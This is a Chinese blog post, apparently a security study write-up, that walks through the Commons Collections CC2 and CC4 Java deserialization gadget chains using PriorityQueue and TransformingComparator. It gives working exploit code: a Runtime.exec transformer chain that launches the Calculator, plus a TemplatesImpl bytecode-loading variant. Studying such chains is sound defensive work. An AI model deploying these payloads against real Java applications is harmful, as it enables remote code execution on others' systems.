Java反序列化大结局 —— CC链2+4
C.C你带我走吧😭
CC2+4
CommonsCollections4中的TransformingComparator类多了可以被序列化,这就让攻击路径多了一条。

所以说它是CommonsCollections4版本可用,并不说原来的链就不能用了,只是4.0版本还可以用这个类来构造。
然后这条链的利用有两种方法,其实都差不多,就变了一点点。
和前面的一样,最后都是要调用到一个类的transform方法。TransformingComparator的compare方法就是我们的目标

然后找到一个类,它的readObject方法中调用了compare,同时这个调用的对像还可控。最后找到了PriorityQueue。
它的调用链为:readObject() -> heapify() -> siftDown(i, (E) queue[i]) -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right]) > 0)
然后这个comparator在构造时传入,也是可控的

所以这个链的基本格式就是
// 最后chainedTransformer.transform()就行
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// 序列化priorityQueue类
serialize(priorityQueue);
unserialize("ser.bin");
然后要让这条链走通,我们还要修改些priorityQueue里面的内容。跟进readObject里的内容,就会发现只有一点阻塞点。

heapify中为了执行到siftDown需要size >= 2(右移1位,减1,不小于0)。同时这里和CC1一样,调用transform时往里面传了参数。
所以关于解决上面的问题,就有两种方法。
CC4
在CC1中用ChainedTransformer+ConstantTransformer来无视传入的参数,这里也可以。这个执行命令的调用链随便在前面选一条就行。
然后用反射来修改size
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Class pc = priorityQueue.getClass();
Field sizeField = pc.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);
完整代码
public static void main(String[] args) throws Exception{
String cmd = "open -a Calculator";
Class rc = Runtime.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(rc),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Class pc = priorityQueue.getClass();
Field sizeField = pc.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);
// serialize(priorityQueue);
unserialize("ser.bin");
}
CC2
观察最后调用的地方,我们发现最后transform传入的参数也是可控的

这个queue在创建完PriorityQueue后可以用add方法传入。虽然感觉有点多次一举,但是这个方法让调用链中没了数组(ChainedTransformer所需要的)。
比如CC3那条链,我们就可以直接用InvokerTransformer调用TemplatesImpl的newTransformer方法,不去走TrAXFilter+InstantiateTransformer最后让ChainedTransformer.transform调
TemplatesImpl templates = new TemplatesImpl();
// 反射修改必要的属性
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "skky");
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/Evil.class")); // Evil bytecode
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>(
"newTransformer",
new Class[]{},
new Object[]{}
);
invokerTransformer.transform(templates);
让TransformingComparator.compare调invokerTransformer.transform(templates),templates由我们手动传入。
和HashMap一样priorityQueue.add也会走一遍恶意代码的执行流程,可以用反射绕过这个部分
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class tc = transformingComparator.getClass();
Field transformerField = tc.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);
结语
至此,整个Commons Collections反序列化利用全部结束。剩下的CC5+7其实也思路都差不多,就不再多赘述了(想摆烂了。
最后附上我画的一张思维导图,over!
